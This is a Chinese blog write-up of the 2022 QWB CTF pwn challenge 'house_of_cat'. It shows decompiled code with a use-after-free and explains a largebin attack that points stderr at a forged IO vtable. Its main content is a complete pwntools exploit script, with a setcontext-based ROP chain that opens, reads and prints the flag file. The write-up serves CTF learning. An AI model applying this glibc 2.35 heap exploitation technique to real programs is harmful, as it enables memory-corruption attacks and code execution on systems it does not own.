• [2022 强网杯] house_of_cat 战战兢兢的复现


    比赛结束后搜到WP,一点点复现一点点理解。

    程序前边有个头,先要登录要配置一个串,然后每执行命令的时候都要输入一个串验证,好在每次都不变。所以手工配置出一个串来。这种串可能有好多配置方法,只要符合规则就行。

    1. b'LOGIN | r00t QWBQWXF admin\x00'
    2. b'CAT | r00t QWBQWXF $\xff\xff\xff\xff\x00'

    然后就是菜单题了,建块的时候要求在418到46f之间,都不会进tcache

    1. ssize_t m1_add()
    2. {
    3. unsigned __int64 v1; // [rsp+0h] [rbp-10h]
    4. size_t size; // [rsp+8h] [rbp-8h]
    5. writen("plz input your cat idx:\n");
    6. v1 = (unsigned int)readn();
    7. if ( v1 > 0xF || *((_QWORD *)&unk_4060 + v1) )
    8. return writen("invalid!\n");
    9. writen("plz input your cat size:\n");
    10. size = (unsigned int)readn();
    11. if ( size <= 0x417 || size > 0x46F )
    12. return writen("invalid size!\n");
    13. *((_QWORD *)&unk_4060 + v1) = calloc(1uLL, size);
    14. if ( !*((_QWORD *)&unk_4060 + v1) )
    15. return writen("error!\n");
    16. qword_40E0[v1] = size;
    17. writen("plz input your content:\n");
    18. return read(0, *((void **)&unk_4060 + v1), qword_40E0[v1]);
    19. }

    删块的时候没有清理指针,这里有UAF漏洞

    1. void m2_free()
    2. {
    3. unsigned __int64 v0; // [rsp+8h] [rbp-8h]
    4. writen("plz input your cat idx:\n");
    5. v0 = (unsigned int)readn();
    6. if ( v0 <= 0xF && *((_QWORD *)&unk_4060 + v0) )
    7. free(*((void **)&unk_4060 + v0));
    8. else
    9. writen("invalid!\n");
    10. }

    然后就是一个largebinAttack但比赛的时候一直没调成,看别人的WP再调

    基本思路就是将stderr指向fake虚表,通过虚表来执行ROP

    1. 建0,1,2然后释放0再建大块3这里0将从unsort放入largebin,由于有UAF可以泄漏这里的指针得到libc和堆地址
    2. 在0块写入fake_io1伪虚表,在这里写两个gadget来执行rop(这块也不明白,但如果是同样的题应该可以复制),并指向块7位置的fake_io2。
    3. 建8,7,6再释放6,7,8,9 。这里在两次largebinAttack后会将top_chunk挤到6可控的范围,然后通过6改小top_chunk让他执行stderr
    4. 6,7,8释放后会与top_chunk合并,9进入unsort。
    5. 建一个大块10让9(原来0块位置)进入largebin,然后释放2在largebin和unsort都准备好后可以开始修改largebin的指针来进行攻击,将这个指针改为stderr
    6. 这时候建一个大块写入fake_io2。这里还是个虚表,他会把执行位置指到2真的rop处(2现在还没写内容)。2位置的unsort会进入largebin并且会把2块的堆地址写入到stderr(并不是需要的,只是中间过程)
    7. 使用2块,因为2块到1块有largebin链,这里会将stderr的内容改为0块地址也就是fake_io1处。在2处写ROP(先关闭文件指针0,再从open(flag)文件到0然后读和输出)
    1. from pwn import *
    2. #patchelf --set-interpreter /home/shi/libc6_2.35-0ubuntu3/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 pwn
    3. #patchelf --add-needed /home/shi/libc6_2.35-0ubuntu3/lib/x86_64-linux-gnu/libc.so.6 pwn
    4. #LOGIN | r00t QWBQWXF admin
    5. #CAT | r00t QWBQWXF $
    6. elf = ELF('./pwn')
    7. libc_elf = ELF('/home/shi/libc6_2.35-0ubuntu3/lib/x86_64-linux-gnu/libc.so.6')
    8. context(arch='amd64', log_level='debug')
    9. p = process('./pwn')
    10. p.sendafter(b'~~~~\n', b'LOGIN | r00t QWBQWXF admin\x00')
    11. menu = b"plz input your cat choice:\n"
    12. def add(idx, size, msg, last=False):
    13. p.sendafter(b'~~~~\n', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff\x00')
    14. p.sendlineafter(menu, b'1')
    15. p.sendlineafter(b"plz input your cat idx:\n", str(idx).encode())
    16. p.sendlineafter(b"plz input your cat size:\n", str(size).encode())
    17. if not last:
    18. p.sendafter(b"plz input your content:\n", msg)
    19. def free(idx):
    20. p.sendafter(b'~~~~\n', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff\x00')
    21. p.sendlineafter(menu, b'2')
    22. p.sendlineafter(b"plz input your cat idx:\n", str(idx).encode())
    23. def show(idx):
    24. p.sendafter(b'~~~~\n', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff\x00')
    25. p.sendlineafter(menu, b'3')
    26. p.sendlineafter(b"plz input your cat idx:\n", str(idx).encode())
    27. def edit(idx, msg):
    28. p.sendafter(b'~~~~\n', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff\x00')
    29. p.sendlineafter(menu, b'4')
    30. p.sendlineafter(b"plz input your cat idx:\n", str(idx).encode())
    31. p.sendafter(b"plz input your content:\n", msg)
    32. add(0, 0x428, b'AAAA')
    33. add(1, 0x418, b'AAAA')
    34. add(2, 0x418, b'AAAA')
    35. free(0)
    36. add(3, 0x438, b'AAAA') #unsort 0 ,当建立的新块大小大于当前unsort块时unsort进入largebin,通过泄漏largebin的指针得到libc和堆地址
    37. show(0)
    38. '''
    39. gef➤ x/20gx 0x290+0x0000557bcf5d6000
    40. 0x557bcf5d6290: 0x0000000000000000 0x0000000000000431
    41. 0x557bcf5d62a0: 0x00007f355fa690d0 0x00007f355fa690d0 <--- libc_base +0x21a0d0
    42. 0x557bcf5d62b0: 0x0000557bcf5d6290 0x0000557bcf5d6290 <--- heap_base +0x290
    43. '''
    44. p.recvuntil(b"Context:\n")
    45. libc_base = u64(p.recv(8)) - 0x21a0d0
    46. libc_elf.address = libc_base
    47. print('libc:', hex(libc_base))
    48. p.recv(8)
    49. heap_base = u64(p.recv(8)) - 0x290
    50. print('heap:', hex(heap_base))
    51. #0x000000000007498c : mov rdx, r13 ; mov rsi, r12 ; mov rdi, r14 ; call qword ptr [rbx + 0x38]
    52. #0x00000000001675b0 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
    53. rop_addr=heap_base+0x1790 # #2--5 ->fake_io2 这里指向下一个vtable:fake_io2
    54. fake_io1=p64(0)*5
    55. fake_io1+=p64(libc_elf.sym['setcontext']+61)
    56. fake_io1+=p64(0)*5
    57. fake_io1+=p64(rop_addr)
    58. fake_io1+=p64(2) + p64(0xffffffffffffffff)
    59. fake_io1+=p64(0) + p64(libc_elf.address+0x21ba60)
    60. fake_io1+=p64(0xffffffffffffffff) + p64(0)
    61. fake_io1+=p64(heap_base+0x340)+p64(libc_elf.address+0x00000000001675b0) #mov_call_2
    62. fake_io1+=p64(0)*2
    63. fake_io1+=p64(1)
    64. fake_io1+=p64(0)*2
    65. fake_io1+=p64(libc_elf.sym['_IO_wfile_jumps']-0xc0-0x20) #io_wfile_jumps vtable
    66. fake_io1+=p64(0)
    67. fake_io1+=p64(libc_elf.sym['setcontext']+61)
    68. fake_io1+=p64(0)*0x5
    69. fake_io1+=p64(libc_elf.address+0x000000000007498c) #mov_call_1
    70. fake_io1+=p64(0)*0xe
    71. fake_io1+=p64(heap_base+0x340)
    72. add(9, 0x428, fake_io1) # #9==#0 使用largebin 无攻击, 写入fake vtable
    73. add(8, 0x428, b'A')
    74. add(7, 0x438, b'A')
    75. add(6, 0x418, b'A') #chunk6+8 = top_chunk_head
    76. free(6)
    77. free(7)
    78. free(8) #6,7,8释放后会进入top_chunk 6的位置将来新建的块比7+8多10,使6可以修改到top_chunk_head
    79. free(9) #9=0释放到unsort
    80. add(10, 0x438, b'A') # #8=#10, #0->largebin 再建比0大的块,0块进入largetbin
    81. free(2) #第2个块进入unsort
    82. #LargebinAttack stderr->fake_io1
    83. edit(0, flat(libc_base+0x21a0d0, libc_base+0x21a0d0, heap_base+0x290, libc_elf.sym['stderr']-0x20)) #修改largebin的指针指向stderr(指针有0x20的偏移)
    84. pop_rdi = next(libc_elf.search(asm("pop rdi;ret")))
    85. pop_rsi = next(libc_elf.search(asm("pop rsi;ret")))
    86. pop_rdx_r12 = next(libc_elf.search(asm("pop rdx;pop r12;ret")))
    87. pop_rax = next(libc_elf.search(asm("pop rax;ret")))
    88. syscall = next(libc_elf.search(asm("syscall;ret")))
    89. fake_io2=p64(0)+p64(rop_addr)
    90. fake_io2+=p64(1)+p64(0)
    91. fake_io2+=p64(libc_elf.sym['setcontext']+61)
    92. fake_io2+=p64(0)*13
    93. fake_io2+=p64(heap_base+0xae0) # #2
    94. fake_io2=fake_io2.ljust(0xa0, b'\x00')
    95. fake_io2+=p64(heap_base+0xb00)+p64(pop_rdi+1) #ret
    96. #0x7f5733e40860 : 0x00007f5733e406a0
    97. add(4,0x438,fake_io2) #write fake_io2 , stderr->fake_io1 建大块时第1块的指针位置(stderr)写入0块的堆地址,同时2块进入largebin(指针处为0块的指针:stderr)
    98. #0x7f5733e40860 : 0x000055c601ed2ae0
    99. #gef➤ x/8gx 0x0000557c30983000+0xae0
    100. #0x557c30983ae0: 0x0000000000000000 0x0000000000000421
    101. #0x557c30983af0: 0x00007f742eff30d0 0x0000557c30983290
    102. #0x557c30983b00: 0x0000557c30983290 0x00007f742eff3840
    103. rop =b'./flag\x00\x00'+p64(0)
    104. rop+=flat(pop_rdi,0, pop_rsi,0, pop_rdx_r12,0,0, pop_rax,3, syscall) #close(0)
    105. rop+=flat(pop_rdi,heap_base+0xaf0, pop_rsi,0, pop_rdx_r12,0,0, pop_rax,2, syscall) #open(*flag,0)
    106. rop+=flat(pop_rdi,0, pop_rsi,heap_base+0x1000, pop_rdx_r12,0x30,0, pop_rax,0, syscall) #read(0,buf,0x30)
    107. rop+=flat(pop_rdi,1, pop_rsi,heap_base+0x1000, pop_rdx_r12,0x30,0, pop_rax,1, syscall) #write(1, buf, 0x30)
    108. add(5, 0x418, rop) #使用当前largebin时指针处写入上前块的堆地址,实现 stderr->fake_io1
    109. #0x7f5733e40860 : 0x000055c601ed2290 stderr->fake_io1
    110. #stderr->vtable:fake_io1指靠mov_call1,2 ->fake_io2 -> rop_chain
    111. edit(6, p64(0)+p64(0x101)) #top_chunk_head = 0x101
    112. add(0xf, 0x430, b'A', last=True) #440>100 no space -> stderr
    113. print(p.recv())
    114. p.interactive()

  • 相关阅读:
    vue项目中非工程化配置eslint
    【Rust】简介、安装和编译
    LeetCode 周赛 335,纯纯手速场!
    bash: ip: command not found
    查词翻译类应用使用数据接口api总结
    计算机IO原理
    Kylin 使用心得
    qt 文本滚动条
    每个前端都应该掌握的7个代码优化的小技巧
    如何在Linux系统中搭建Kafka集群
  • 原文地址:https://blog.csdn.net/weixin_52640415/article/details/126157319